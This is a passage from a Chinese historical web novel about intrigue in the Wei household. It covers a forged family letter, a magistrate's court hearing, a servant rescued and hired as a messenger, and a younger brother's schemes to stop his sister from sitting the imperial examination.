魏大老爷想了想,叹息一声说道:“罢了,让老太爷做主吧。”
他喊住了一个长着苹果脸的丫鬟,让丫鬟去把魏棠宁唤来。
魏棠宁很快便走上游廊,她眸子略扫过廊上诸人,然后站在魏大老爷面前,欣欣然施了一礼,唤道:“父亲。”
“你祖父进来身体如何?”魏大老爷并未开门见山,他迂回了一下,问道。
“如今天气回暖,祖父时常出屋走走,地气儿接的足了,身体也日益康健了。”魏棠宁颔首,颇有条理地回答。
“金州卫司近日送了我几根上好的山参,你带着这丫鬟去库房领了,拿去给你祖父用。”魏大老爷朝魏棠宁赞许地点点头,然后将一封信递给了魏棠宁,“这是你三叔父写来的信,你一并拿去给你祖父,并请你祖父向银湾写一封回信。”
“是,女儿知晓。”
信是没有封口的。
魏棠宁乖顺地接过信,没多看这封信一眼,只拿在手里,便施礼告退。
苹果脸的小丫鬟得了差事,跟在魏棠宁身后。
她们一主一仆穿过一道又一道的拱门,经过库房的门前,又沿着花园亭台转了一圈,随后在老太爷所居的靖石馆门口停下。
“你在外面等一会,祖父不喜见人,我去里面拿给祖父。”魏棠宁温柔地说道,她从苹果脸的手上接过山参,独自一人走进了靖石馆。
馆外静悄悄的。
苹果脸小丫鬟一个人待在外边,她有些无聊,踢踏着门口的石子玩,还未踢得三下,馆里头却急赤白脸走出来一个老仆妇。
仆妇脚踩得极实,走路没有半点声响,她一把拽住小丫鬟的耳朵,凑在她耳边压低了声音骂道:“小点声!太爷歇下了!”
老太爷脾气古怪得很,歇下了最听不得半点声响,这是阖府都知道的事情,苹果脸涨红了一张脸,轻轻唔了一声,然后被仆妇拽到了六尺远的一颗大榕树底下。
仆妇走了,小丫鬟在树下发呆。
太爷歇下了,回信只怕还要等上许久。
小丫鬟坐在老树根子上,曲着膝撑着脸蛋,神游般望着天,可不消片刻一道阴影便挡在了她的头顶上,小丫鬟愣了一瞬,随后一股躲懒被抓包的羞耻感骤然涌上心头,丫鬟苹果似的脸蛋子瞬间涨红了。
“二……二娘子……”
“嘘!”魏棠宁嘘声,连忙打断她,“祖父还在睡,我们走吧。”
一主一仆离开了靖石馆。
魏棠宁带着小丫鬟往瓯春轩走去,她双手掩在袖子里,忽的对小丫鬟笑道:“早春的日头就那么几刻,不紧着晒怕是又没了,你还记得经折装的书是怎么晒的吗?”
苹果脸还陷在方才的情绪之中,乍然听见魏棠宁的话,她想都没想便用力地点头,心里想着前儿魏棠宁教导旁的丫鬟那一幕,张嘴便答道。
说着说着小丫鬟却发现自己还是记得不太全乎,涨红了一张脸,磕磕绊绊地结束了答案。
魏棠宁最是温柔。
她眼里没有一点对丫鬟的责备,她温柔地鼓励道:“真聪明,真是一个聪明的丫头,那你可以帮我,将那些书拿出来晒晒吗?”
魏棠宁指着墙角堆着的书。
忙碌的大丫鬟们来来往往,她们把晒好的书收回匣子里,然后将匣子码在这个墙角里。
这个角落里堆着的是,晒过了已经封装好的书。
但苹果脸看不出来。
她被最仰慕的娘子夸了,激动极了。
她想都没想,鼓着劲一股脑儿地,就朝那个角落跑去了。
魏棠宁笑了笑,她略微退后几步,侧身从回廊拐过,进了门房。
董管家坐在门房等候。
他见一个年轻娘子走了过来,忙躬身作揖。
“你就是董良是吗?”魏棠宁问道。
董管家颔首:“小人正是。”
“叔父跟我说过,你是一个极踏实的人,有你在,他很放心。”魏棠宁笑着说道。
“娘子谬赞了。”
董管家有些羞涩,从前在家里,魏三老爷从未说过这样的话,他嘴角勾起,却又意识到有些不妥,于是轻咳了一声,掩饰尴尬。
“这是我祖父写给叔父的信,劳烦你带回去了。”
魏棠宁从袖子里面拿出一封信,信是已经封好的,封题是用魏老太爷最善用的狂草书的,还盖下了魏老太爷的印章。
董管家接过信封,扫了一眼信的外观,确认无误,便拱手告辞了。
魏棠宁回到了瓯春轩。
晒错了书的小丫鬟被大丫鬟罚了,举着花盆跪在廊下,苹果脸晒得焉黄,魏棠宁没有看她一眼,她自走进了小屋内,新封好的书匣还差个封条题字,大丫鬟们簇拥着魏棠宁,捧砚奉墨请魏棠宁落笔。
魏棠宁施施然落下一笔,落笔才恍然发现有误。
这起势是行草的写法,并不是她在外常写的那种簪花小楷。
魏棠宁顿了片刻,笔锋一折一转,在封条上留下了一团浓浓的墨迹,随后重新起势,落下一行细密整齐的行楷。
虽留有一团突兀到难看的墨迹,但丫鬟们簇拥在魏棠宁身边,无有不欢呼夸赞的。
魏棠宁笑了笑。
这是多好的生活,这又是多美好的人生。
她三年前费劲心思设下了那样一个计谋,夺得了这样的人生,她绝不会留下任何一丝机会,让那个从前的人重新回来的。
一阵风吹起来了,它吹动积云霭霭,蔽却金乌。
太阳没有了。
-
银湾乍然封城两个时辰,从各司而来的咨关帖文近乎堆成了小山高。
刘县尊处理完公文,已经到了日上三竿。
班房的
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皂吏仍侯在门口,刘县尊不解,让人唤了他来问话。
“禀县尊,昨夜提告的妇人受刑后一直留在班房,而今尚未提审推问,现要如何处置?”皂吏步至正堂,肃揖行礼,随后恭敬回答道。
刘县尊皱了皱眉,他有些疑惑。
魏三老爷早便派人与他说明,那妇人是因魏家事而击鼓上告,故此他只令人对这妇人行上告板笞之刑,未尝提审妇人。
如今魏家事情已了,魏三老爷一行人也早已离开县衙,刘县尊还以为这妇人早就得逞离去,没想到日上三竿了,她竟还留在这里。
“她事情已了结了,还留在这里干什么?打发她去罢。”刘县尊摆了摆手说道。
皂吏退下了。
不消两刻却又再度回来,他苦着一张脸说道:“禀县尊,那妇人说……那妇人说她还未告,如何能退?”
“还要告!”
刘县尊有些烦躁,心里不由得对魏三老爷带了几分埋怨,魏家带的破事一箩筐子,他拍拍屁股便走了,还要劳烦自己给他善后。
刘县长问那皂吏:“你跟那妇人说了吗?魏三老爷夫妇,魏家大娘子、四娘子都已经回去了。”
皂吏点点头。
“那你去魏家传个话,让魏三老爷过来……”
刘县尊说了一半顿住了,去魏家唤人来折折腾腾,半日又过去了,他午后还要去丹州府回话,处理起来怕是时间上有所冲突,刘县尊想了想,话锋又一转,继续说道。
“你叫那妇人过来,本县尊现下提她来告。”
回禀的皂吏退下传话去了。
紧接着班房差役押着昨夜那妇人走上堂来,妇人受了刑,佝偻着,背脊处是一片的血瘀,她面色苍白,眼神虚浮,这不是一副能击鼓告青天的样子,刘县尊先前还有些质疑,如今看见她的样子,愈发确定她是受人所命,而非衔冤负屈。
刘县尊撇了一眼手头的公文,清了清嗓子,一拍惊堂木,不怒自威地道:“堂下可是朱刘氏?你击鼓鸣冤,有何冤屈,速速报来!”
刘县尊话音一落,紧接着便响起一阵大而尖锐的声音。
“凡击登闻鼓诉冤者,先廷杖三十,以验其情,若所告得实,免其杖,虚者,加等反坐。其挟私妄诉,摭拾细故者,杖一百,流三千里,于鼓前张榜晓示,使知儆惕。”
这是衙门里的师爷,就在县尊发出提审命令之时,衙门里的胥吏们就将升堂的班子都配了个齐全。
师爷站在县尊的右侧,尖锐而冷漠地陈述会典原文,正堂内分列了两行胥吏,手中杀威般的讯杖随着师爷的尾音落下,在地上敲打着,发出极有节律的咚咚声。
朱刘氏被吓得脖子一缩,她眼神飘忽,朝上望了县尊一眼,又深吸了一口气,壮了壮胆般地说道:“禀县尊——”
“民妇要状告宁都王世子裴琚,嚣张跋扈,白昼戕命,令我主人朱衡,跪拜三更至死,还望县尊,主持公道,拨云雾!睹青天!”
刘县尊的笔摔掉了。
上好的白玉笔杆子摔在地上,断成了两节。
他不可置信地看着这个妇人,下巴都近乎掉在了地上。
“你告的是……谁?”
-
这里并不是一间刑房,春雁还没有资格进一间刑房。
这是一块临时划出来的空地,甚至不是一块在县衙里面的空地。
血垢在地面上累了厚厚的一层,春雁身旁的奴仆刚刚咽下最后一口气,他像一块烂肉一样瘫在地上,舆丁拖起他的一只脚,将他甩在板车上。
板车上的尸体垒了厚厚的一摞,舆丁用肩扛起车辕,推着板车向前走,车轮卡在春雁的右脚那儿,舆丁低头看了一眼,闷哼一声一咬牙,推着板车从春雁的脚上碾过去了。
春雁已经感觉不到痛了。
她夜里被打得只剩下一口气,皂吏将她甩在旁边的空地上,和很多跟她一样的奴仆垒在一起,舆丁负责搬运他们的尸体。
现在已经是正午了。
难得的一个大晴天,太阳是火红火红的,它挂在春雁的头顶上,春雁能听见地面上血液干涸尔后崩裂的声音,春雁忽然间想起了她的父亲。
那个在六岁时抛下她的男人。
那是个掌柜家的儿子,兜里找不出半个子的东西,学着话本里的公子王孙去为情私奔,他找了个街边卖艺的伎子,卷了东家的钱一路向北跑去了丹州。
然后他在丹州死了。
尸体被河水冲上浅滩,而那伎子却早已找不到了。
她的祖父责怪母亲拴不住父亲的心,她的祖母责怪母亲没能给父亲生下一个儿子,两个年过半百的老人心却像铁石一样冰冷,就在一个大雪纷飞的晚上,在她与堂弟争执的一个晚上,在她失手砸破堂弟的头的晚上,祖父祖母将她和母亲扫地出了门。
他们本就想将她们母女赶出去。
可是他们没选一个平常的日子,也没选一个合适的日子,他们不动声色地看着她们母女在家里谨小慎微地活着,然后选了一个可以借题发挥的日子,把她们赶了出去。
春雁还记得那个晚上,母亲责怪她不该与堂弟起冲突。
这个柔弱的如同菟丝花一样的女人,在大雪里面嚎哭,她把对未来的恐惧、对未知的害怕,化作怒火统统发泄在了她的头上。
这个柔弱的从来不敢对别人说一句重话的女人,把自己为数不多的坚强和勇敢,施加在了自己幼小的女儿身上。
她怀揣着所有值钱的东西,将她的女儿扔在了一间食肆里面。
她甚至不舍得给自己的女儿点下一碗宽面。
母亲说,她要去找舅舅,等到她找到舅舅了,就回来接她。
然后她再也没回来。
食肆的人没有看春雁可怜,就施舍给她一碗面吃。
他们甚至把春雁赶了出去。
春雁还记得那天晚上,她缩在雪地里,也是像现在这样,身上疼得厉害,脑子里一片模糊,睁眼是蒙蒙的一片,什么也看不清楚。
春雁又想起了那天晚上,她在雪地里面嗅到的宽面香。
好想吃一碗油渣宽面啊。
春雁忽的有些想哭。
但她好像感觉不到眼睛的存在了。
春雁的眼神愈发涣散,她的视觉嗅觉味觉,都随着生命的流逝而渐渐淡去,不远处又有声响传来,吱呀吱呀的,有人挪动了春雁身上的尸体,日光毫无遮掩地刺在春雁的眼睛上,春雁不由自主地眯了眯眼睛。
太阳底下好像走出了一个仙子。
仙子带着一顶帷帽,风吹动帷帽下的素纱,露出她精致的半张脸,和一道可怖到像是苦厄的神性的淤痕。
这样的剪影在春雁眼中,逐渐与她记忆里的重叠成一片。
春雁曾经见过这个仙子。
那是在一个深夜,在清水潭的一个宅子里,她也是这个样子,半遮着面容,露出精致的脸和可怖的伤痕,仿若神女一般出现在了春雁的视线里。
她拿着一颗白若积雪的银锞子,让春雁帮她送一封信。
春雁还记得那封信。
那是一封极为古怪的信,信里只有一个名字。
下凡的仙子让春雁彻夜赶去银湾的县报坊,将明日县报第三版右下第三栏的名字,更改为这信上的名字。
春雁是不认识字的。
但她还记得,她将信递给那县报坊的老书生时,老书生慢悠悠念那个名字的声韵。
就与现在她听见的,别无二致。
“我是魏兰蕴。”
魏兰蕴说话了,她给搬尸的皂吏打赏了一颗银锞子后,俯身低着头看着春雁。
“你叫什么名字?”她问春雁。
春雁怔怔蒙蒙地看着魏兰蕴。
脑子仿若生锈的齿轮,她愣了好久好久,才缓缓从她破碎的记忆里面,翻出一个已经泛黄的名字。
不是那个被人随便取下来为奴为婢的名字,不是那个今日可以叫翠柳明天可以叫翠玉的名字,是一个有名有姓,还勉强像一个人的名字。
“我叫……杨阿雁。”春雁费力地说着,嗓子就像沸腾的铜炉。
“你好,杨阿雁。”魏兰蕴揭开了帷帽上的薄纱,露出了一张远胜神仙妃子的容颜,她将一颗金锞子放在春雁的手心里,“这是你的酬金。”
“我还需要你为我再——”魏兰蕴接着说道,“送一封信。”
扑通一声。
什么东西掉落在了地上。
随后魏兰蕴耳边便是一道冰冷的声音响起。
【叮——】
【进度条抵达百分之三,恭喜宿主,获得奖励‘来自新世界的钢铁’一份。】
21. 花轿子与科考场(一)
“什么?”
听着门房的禀报,柳姨娘久久不能回过神来。
她坐在园子里的芳榭处,正对面儿就是一片粼粼的湖景,三两个丫头打着香丸子站在她身后,四五个丫头为她举华盖,七八个管事的仆妇站在她对面等她示下。
她的女儿魏九芙坐在她对面,正好替她斟了一杯茶。
“西市昌荣居的掌柜来了,想拜见姨娘一面。”魏九芙替门房重复了一遍,又替柳姨娘答了那门房,“昌荣居的档次低了,姨娘也不是什么人都见的,下次再来的是这样的铺子,就直接打发走,知道了吗?”
魏九芙说话不算客气,门房捧了个笑出来,弓着腰告辞走了。
“芙儿啊,你说,他来找娘,是为的什么啊?”柳姨娘觉得自己漂浮在云雾里,她还是有些不太确定,怕这是一场梦境。
魏九芙轻瞥柳姨娘手边摆着的丝缎玉翠,轻轻抿了一口茶,慢悠悠地道:“他们来找姨娘为的什么,姨娘不早就知道了吗?”
大家族粳米肉蔬耗费多,衣裳布料开销大,肉米从何来?布裳从何买?
自是家里掌家的夫人,一句话的事情。
有时候,或许就是这一句话,有的铺子日进斗金,有的铺子柜生尘网,有的铺子开张吃三年,有的铺子三年不开张。
那些铺子里的东家掌柜送来的缎翠堆了小山高。
柳姨娘不停地抚摸着这些缎翠,直到将一枚玉扳指塞进嘴里咬上了一咬,柳姨娘才感觉到些微有些踏实。
真没想到,鹬蚌相争。
最后竟然是她这个渔人得了利。
魏三夫人被囚至青城观之后,后宅的掌家之权,竟然顺理成章地落在了家里资历最老的柳姨娘身上,这是柳姨娘所没有想到的,这也是魏九芙所没有想到的,那件虎口逃生般凶险的事情发生之后,这个家里竟然还有人渔翁得利。
这大概就是塞翁失马安知非福罢。
魏九芙叹了一口气。
她指着两个丫鬟,吩咐说道:“你们两个,从这里拿一半,给大娘子送过去。”
丫鬟们来捧装珠翠的漆盘走,柳姨娘几乎是下意识便按住了那漆盘的边,她瞪了那两个丫鬟一眼,瞪完却又感觉有些不妥。
柳姨娘犹豫似的咬了咬唇,望向魏九芙问道。
“还要送吗?我们给她送的东西是不是有些多了?今日塑梁木,明日爰屋瓦,上好的箱笼榻几流水似的送到那里去,现在还要送上这些,是不是有点太多了?”
柳姨娘压低了声音,咬着字说道:“三夫人在的时候,可什么都没往大娘子那里送过。”
“所以她现在才失了权,赶到了郊外的观里,关了起来。”魏九芙看着柳姨娘,颇有种恨铁不成钢的感受。
她不是魏三夫人,不是那种小家子气的妇人。
一个大家娘子的吃用住行,到底能靡费些什么?
克扣这点牛毫似的花用,攒下来的是如青牛般大的恶果,不说别的,光是一条寡恩不慈的名声传出去,就足以让整个魏家的娘子们找不到好夫婿。
更别提他们最为崇重的魏大老爷了。
为官者四维八德清慎勤,言官御史们光拿着一条不慈的名头,就能在朝廷之上捅他个三五六七八刀,魏兰蕴所受到的苛待,要是劈棱棱摆到朝堂上去,魏大老爷还想顺顺利利进了内阁当个阁臣?
想都别想。
成大事者不拘小节的道理,魏九芙懂,但有的人却不懂。
魏九芙有的时候在想,她要是个男人就好了。
她如果是一个男人,她会做得比任何一个魏家的男人都要好,她可以自己去建功立业,她可以自己去封侯万里,这样她就不用依仗男人,困在这里,用一点可笑的女人家的小玩意儿,去哄另一个男人的欢心。
魏九芙叹了一口气,她推了推剩下的漆盘,嘱咐丫鬟道:“剩下的这些,包严实了,送到县衙后宅子里去,送到燮州的张大夫人手上。”
柳姨娘心疼得还想说些什么,却在魏九芙紧皱的眉头下噤了声。
成大事者不拘小节。
这次的事情闹这么大,并不代表着魏家与张家的联姻便就此作废了,魏大老爷如今也还算是一个正在走青云路的老爷,魏九芙认为,在张大夫人还未完全推拒掉这门婚事之前,一切皆有可能。
-
珠翠送到了魏兰蕴的院子里。
那两个丫鬟将东西送到后便离开了,珠翠放在正堂里的锦桌上,魏兰蕴没有看一眼,自有娴熟的大丫鬟走过来,将珠翠收好了归档,再封进库房。
这个大丫鬟是从宅子里别的地方拨过来的,是做了许多年的管事大丫鬟了,因着魏兰蕴这儿少了一个叫红玉的丫鬟,故此她现在便叫做红玉了。
红玉能干、话少,是一个极为老练的丫鬟。
她利落地收翠归档,全程没有多说一句废话,她安静地侍立着,站在一个极为合适的位置上,这个位置既不会让她因为离魏兰蕴太远,而在娘子吩咐时无法及时应答,也不至于让她离魏兰蕴太近,让这个看上去便生人勿近的娘子恼怒生厌。
草垫换成了锦垫,陈茶换成了新茶。
流水般的家具土瓦送到魏兰蕴这里,这个破旧的、小小的院子就在短短几个日头的起落之间,变得焕然一新了。
而唯一不变的是魏兰蕴。
她依旧跪坐在垫子上,手边点着一盏泥炉,炉上煮着一锅酽茶,魏兰蕴的手里翻着一本书,这也是一本蒙书,先前的那本已经看完了,这又是新的一本。
红玉是个聪明人。
她显然是识字的,她知道魏兰蕴看的是什么书,她也知道魏兰蕴为的什么去看书,她心里七弯八绕将事情想得明明白白,但面上却半点都没展露出来。
她比春雁聪明,也比春雁识趣儿。
春雁躺在西厢尾养伤。
大夫正提着药箱离开,离开前留下了新的两张药方,小厮拿着药方去取了药回来,丫头点着炉子在廊下熬药。
药香飘进了厢房里。
春雁的心思就跟着这药香一齐飘着,恍惚着。
被魏兰蕴救回来之后,春雁总有一种不真实感,这感觉纷乱极了,像是来自于方方面面,又仿佛,只是来自于方寸之间。
春雁先是无法理解,为什么魏兰蕴要救一个构陷背主的丫鬟,而随后春雁的心里又弥漫出一股无比的愧疚之感。
她陷害魏兰蕴,可魏兰蕴救了她。
魏兰蕴以德报怨的行为,让春雁感到坐立难安,春雁觉得自己就像农夫与蛇的那条蛇,东郭与狼的那只狼,愧疚的情绪就像潮水一样,从春雁的心底里弥漫出来,潮水汹涌澎湃,压抑着春雁,让她喘不过气来。
春雁躺在悠悠的药香之间神游着。
有时候她在想,如果重来一次,这个世界上只能是魏兰蕴来救她的话,她宁可死在陷害魏兰蕴的那天。
咚咚两声。
西厢房的门被敲响了。
敲门的是一个极有礼貌的人,她直到春雁说了进,她才推开门走了进来。
红玉进门,开门见山地说道:“大娘子要见你。”
春雁跟着红玉去了正堂。
正堂现在是极有格致的摆设,杉地衣,弄檀梁,上了金漆的家具物件一溜儿置放过去,琉璃的盏上呈的是瓜果香,椒和的墙上挂的是名士画。
春雁迈步踏入正堂后,红玉便在她身后关上了正堂的门。
这是魏兰蕴的吩咐。
红玉严格执行着大娘子的吩咐,关上门后便离得远远的,她不靠近,这院子里的其他丫鬟也在她的管辖下,不能靠近。
正堂里边现在只有魏兰蕴和春雁两个人。
屋子里安安静静的,只听得见茶汤滚烫的咕噜声。
“伤养的怎么样了?”
魏兰蕴于清水潭受的伤已经恢复如常了,铃铛芯在银铃铛里叮当作响,她神色如常,简单翻过一页书,仿佛今天是稀松平常的一天,她们两个人是稀松平常的一次见面。
但这对春雁来说并不是一场稀松平常的见面。
春雁粗俗市侩,她是一个有着小聪明没有大智慧的人,她说不来那些话里话外的弯弯绕绕,她直接开门见山地问魏兰蕴:“你为什么救我?”
魏兰蕴并不是很惊讶,但春雁的问题也确实不在她的意料之中,魏兰蕴翻书的手顿了一顿,然后继续说道:“我以为我已经说过了。”
“就只是让我送信吗?”
春雁不明白,可送信者千千万,为何一定要救她回来。
“当然。”魏兰蕴笑了笑,语气轻松得像是在说今天天气真好一样,她顿了顿,忽的又想起了什么,补充说道,“不过或许还有一些别的小事。”
书翻过了两页,沙沙的翻书声就像蚂蚁在春雁的心里咬,她不知道自己是怎么了,也不知道这是为什么,她抓狂似的挠了挠心口,声音不由得放大。
“那是什么事情?到底是什么事!你说啊!到底是什么要上刀山下火海的事情要我去做!你说啊,你说到一半不说了……算什么意思啊?”
话说到一半,春雁忽的泄了气。
她跪坐在地面上,手打直了撑在地上,无助地看着魏兰蕴。
她觉得她的价值不值得魏兰蕴把她救回来,她觉得她的品行不值得魏兰蕴把她救回来,她觉得仅仅是送一封信不值得魏兰蕴把她救回来。
春雁的认知与逻辑产生了错配,她陷入了一场深深的不配得感里。
无法自拔。
魏兰蕴把书合上了,她将书搁置在一旁,望着春雁的眼睛。
她似乎知道春雁在想些什么。
当个体的行为与自我认知产生冲突时,个体往往会产生心理的不适,这种不适的情绪会促使个体通过改变认知或行为来减少心理失调。
病态的人会改变认知,健康
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的人会改变行为。
在东方耻感文化的倡导下,当正向性的行为无法实现并及时得到反馈的时候,个体行为的改变往往倾向于自缢与自毁。
“你是并不觉得你的价值,足够我把你救回来吗?”
正是因为春雁并不觉得送一封信的价值,能抵得上她的背叛与她的命,所以她迫切地需要魏兰蕴向她提出更多更有价值的事情。
她所实现的基于懊悔的补偿行为越多,她的心理压力便越小,从而越可以实现情绪的自由,走出她为自己创建的情绪囚笼。
春雁没有回答。
魏兰蕴说得太过直白,所有春雁自己看不懂的歇斯底里的一切,魏兰蕴却看得明明白白,魏兰蕴直接了当的话语就像一把尖刀,乍然砍进了春雁杂乱无章的脑海里,那些纷繁复杂的情绪骤然被砍断。
春雁有些愣住了,她怔愣着看着魏兰蕴。
魏兰蕴学着春雁的样子,撑着身子伏在地上,她与春雁近乎持平地对视着。
“为什么你要觉得你不值得呢?”魏兰蕴问春雁,“为什么你会觉得送信者千千万,谁都能做,不一定是你呢?为什么你没有这个自信,这封信只有你能送,所以我才要无视你的所作所为,摒弃前嫌地把你救回来呢?为什么呢?”
“这怎么可能?”春雁自嘲般说道,“你是一个娘子,你家的门槛有一尺高,这个宅子里吃一顿饭要十二个厨子做菜,当家的夫人洗一次澡要用上足足三十六条丝绸,你们这些高门大户里的人,只要一声令下,可以为你们送信的人从城南排到了城北,怎么可能有封信非得要某一个人去送,又怎么可能这个人会是我?”
在春雁活过的十余年岁月里,在她的所见所闻里,魏兰蕴所说的话对于春雁来说,简直像天方夜谭,春雁近乎是下意识的反驳,她从未想过这些。
“你不是已经送过一封了吗?”
魏兰蕴看着春雁,轻声说道。
春雁没有听懂。
她对她情绪的认知都是杂乱而渺无边际的,更何况那些更为错综复杂的事情。
但魏兰蕴没有继续说了,她舀了一盏茶,放在地上,推至春雁面前。
“你所认知的世界有十的五百次方种可能的宇宙解,所有潜在的、没有发生过的事情,都是可能的、存在的,所有既定的、已经发生过的事情,也是可以发生与正在发生的,可以推翻重来的。”
“人对一件事情的感知往往不在于事件本身的大小,而在于人对事件认知的大小,你的不配的感源于你轻贱自己的性命,放大了你对我所谓的背叛,你认为后者大于前者,所以你囿于你自己给自己创建的情感牢笼里面,无法自拔。”
“蚂蚁咬了你,对你来说算一件大事吗?”魏兰蕴突然问。
春雁愣了一瞬,随后缓缓地摇头。
“但对蚂蚁来说,算一件大事吗?”魏兰蕴又问。
春雁想了想,犹豫地点了点头。
“你和我对这同一件事的看法恰如同人与蚂蚁,你的行为对我而言就像是蚂蚁咬了我,这并不影响我什么,我也并没有因此而感到痛心疾首。”
魏兰蕴顿了顿,继续说道。
“我救你只是因为我需要你为去我做一些事情,虽然这宅子里面能做事的人千千万万,但对于我而言,某些事情,是正巧只能由某些人去做的,你正巧是我手边最方便做这件事的人,所以我救了你,就像是早起梳头,我正巧挑选了一把最合适的梳子一样,所以你没有必要感到愧疚与不安,因为我们之间,其实只是一段简单的等价交换的关系而已。”
魏兰蕴想到了这间院子从前的样子。
破瓦颓垣陋室空堂。
住着一个失势的大娘子和一个被宅子排挤的丫鬟。
就在这样的条件下,春雁从厨房里拿来的饭却是足量的,不仅是足量的,这还是符合一个魏家的娘子应该有的份额的。
春雁并不聪明,但在市井坊间里、人情练达处,她是有她所在的过人之处的。
而这样的能力,恰好就是魏兰蕴需要的。
“如果你听不懂我的意思的话,我们可以从最简单的一点开始。”
魏兰蕴放下了茶杯,她侧目朝东看。
春雁跟着她的视线一齐看去。
宅子外头发生了一点响动,那似乎是藏在东耳房的声音。
有个东西从外边一股脑儿钻进来了,他躲在东耳房,不知道在干些什么,东耳房叮叮当当的,响了一阵却又没声了。
这动静已经出现了好几天了,院子里却没有一个丫鬟发现。
红玉就站在院子门口。
她这个极为聪明老练的大丫鬟,可以精细到抓出每一个衣冠不符合规矩的小厮,但也可以疏忽到完全没发现这样诡异的动静。
魏兰蕴又拿出了一颗金锞子,她推到春雁面前,缓缓说道。
“等价交换意思就是,我付钱,你做事。”
22. 花轿子与科考场(二)
魏六郎躲在东耳房里。
他蜷着身子,小心翼翼地缩在柜子底下,他的手里拿着一把老大的铁锁,锁跟着魏六郎躲进柜子底儿,锁角磕在地上,发出叮叮当当的响声。
丫鬟在廊下洒扫。
她们躬着身子擦地,擦得认真极了,汗水顺着脖颈一路流进了衣领里,因着大丫鬟红玉正巧就站在廊下,擦地的小丫鬟们头是丝毫不敢抬起,她们一点儿也没发现魏六郎。
魏六郎在柜子里暗自窃喜。
这已经不是他潜入这里的第一次了。
这院子的防备似乎并不严,魏六郎用他那自认三脚猫的功夫潜入这院子,纰漏出了不少,但竟一次也没有被发现。
魏六郎之所以潜入这里,其实是因为一封信。
或许它叫一封信并不准确,确切来说,这是一封报纸,是一封装在信纸里面的手抄的银湾嘉定八年酉丑日的县报。
报纸上用朱笔在第三版右下第三栏里面,圈出了一个名字。
包这封信的人将这篇报纸,并夹着几页小书摊里卖的鲜艳话本故事卷和在一起,然后投到了林夫子开的私塾里边。
圈出的名字是魏六郎的姐姐魏兰蕴,并夹着的话本故事则不堪入目,那是一个娘子科考时失了身,委身做某学子的妾妇,于贡院场里窃情的故事。
魏六郎还记得私塾里的人是怎么笑他的。
他们说他这个姐姐抛头露面的出来考试,最是伤风败俗了。
他们说考场前是要搜身的,是衣裙皆要脱光的搜身,他们以最恶劣的角度去评判女子应考的这件事,他们臆测着魏兰蕴的身量体型,他们拿魏兰蕴与东歌坊的金玉娘相比。
那些学子们将故事主角的名字用朱笔划了,更易成了魏兰蕴的名字,书案间流传的话本,也已经有了魏兰蕴的版本。
魏六郎怒气冲冲去找林夫子告了状。
夫子烧了一批书,责罚了一众学子,可悠悠众口却是止不住的。
魏六郎的行为不仅没有停息这封信带来的风波,反而还愈演愈烈,私塾里对女子科举的嘲弄声,以及对魏六郎告状之举的讥嘲语搅和在了一起,恰如狂风骤雨般朝魏六郎砸去。
魏六郎臊红了脸,他躲着再也不敢去私塾。
他想去找母亲告状,母亲却正巧去了青城观进香,他想去找父亲告状,父亲却听都没听他说话,草草嘱咐他几句好好学习,便让董管家把他请出了书房。
要止住这场风波其实很简单。
只需要止住风波的源头。
也就是不让魏兰蕴去考试。
魏六郎想得很清楚。
只要魏兰蕴不去考试,这些学子们就没有讥笑魏六郎的理由,魏六郎便可以昂首挺胸回到私塾,狠狠地把那些嘲弄他的学子们顶回去。
但银湾里魏家的主子统共就这么几个,能不让魏兰蕴去考试的主子也就那么几个。
在魏三老爷没空管、魏三夫人管不了的情况下,魏六郎决定自己出马,他亲自来让魏兰蕴去不成这场考试。
魏六郎先是下药。
他找了贴身的小厮买了足足一斤的巴豆回来,连分了三天下在魏兰蕴必吃的饭食里面,可连续三天,宅子里都安安静静的,一点儿也没有什么大娘子跑肚拉稀的消息传出来。
魏六郎不信邪。
他又加买了二斤,下了药亲自躲在魏兰蕴的院子里边,盯着她吃。
但令人匪夷所思的是,无论魏六郎下哪一道菜,魏兰蕴总能精准地避开那一道菜,哪怕魏六郎将药下在她必喝的茶水里面,魏兰蕴都能准确地避开那份茶水。
真是见了鬼了。
他连下了四天的药,竟然根本沾染不了魏兰蕴分毫。
但魏六郎并未因此放弃。
下药不成就换一招,魏六郎打算偷了魏兰蕴所写的时文手稿,扰乱她的考前准备,让她方寸大乱,从而放弃考试。
考生所写的时文观点推理文章,都是考生自己毕生所学的感触所在,没了这一份东西,或许对一个考生的影响只在二成左右,但科考向来失之毫厘差以千里,别说二成,但凡差个一分一厘,在这场考试上,都有可能是圈名和落榜的区别。
魏六郎的私塾里面,因时文遗失所弃考的考生,并不在少数。
这个计划当然是可行的。
魏六郎说干就干,他又一次潜入了魏兰蕴的院子里,翻找了整整一夜,可他把这个院落翻了个底朝天,都没有找到魏兰蕴的半篇手稿。
别说手稿。
魏六郎甚至都找不到任何一张魏兰蕴写过字的笺纸。
整个院子连一本论语都找不出来,只有几本新旧夹杂着的蒙书,稀稀拉拉堆在魏兰蕴常用的那块凭几边上。
这根本不可能。
魏六郎依旧不信邪。
他躲在黄梨木的立柜里边,透过柜子的缝隙偷看着魏兰蕴。
魏六郎坚信魏兰蕴只是把她的书经文卷藏了起来,他不信魏兰蕴考前不会温书,也不信魏兰蕴温书的时候会不看时文笔记。
他躲在这里监视着魏兰蕴,便总能抓到魏兰蕴温书的痕迹,这便足够他顺藤摸瓜,盗走魏兰蕴的手稿笔记,阻止她参加科举。
魏六郎盯着魏兰蕴看了整整一天。
直到他看见魏兰蕴就着一本蒙书,以指蘸水在凭几上歪歪扭扭地写下一个“赵”字,魏六郎的心里无法遏制住地冒出了一个可怕的想法。
他这个大姐姐……是在认字。
他这个大姐姐,竟然在考前,根本不认识字!
魏六郎无比震惊,随后他的背上弥漫出一股难以言喻的寒意。
光魏兰蕴以女子之躯参试科举,就让他在私塾里面被笑得抬不起头来,那再加上魏兰蕴不识字呢?
若是被他那群同窗知道,魏兰蕴不认识字,还胆敢参加这场天下读书人逐鹿天下的考试,魏六郎都不敢想,他会被嘲笑至什么地步,魏六郎也不敢想,魏家的脸会丢到什么地步。
在沉沉的夜里,魏六郎从榻上猛地坐起。
不行。
一定不能让魏兰蕴参加这场考试。
这已经是第六天了,距离魏兰蕴应考,还有一天。
如果今天再不能阻止魏兰蕴参加考试,那一切就都挽回不了了。
于是魏六郎足足花了两个时辰,在宅子里寻找到了一把最结实的锁,他把锁捂在怀里,再一次偷偷潜入了这间防备不严的小院。
他要把魏兰蕴锁住。
至少锁在升炮封院之后,锁在魏兰蕴再也无法进入县衙考棚之后,锁在他与他们魏家,都安全的时候。
夜已经深了。
穿堂风恰惊了烛火芯,啪的一声,惊醒了似睡非睡的魏六郎。
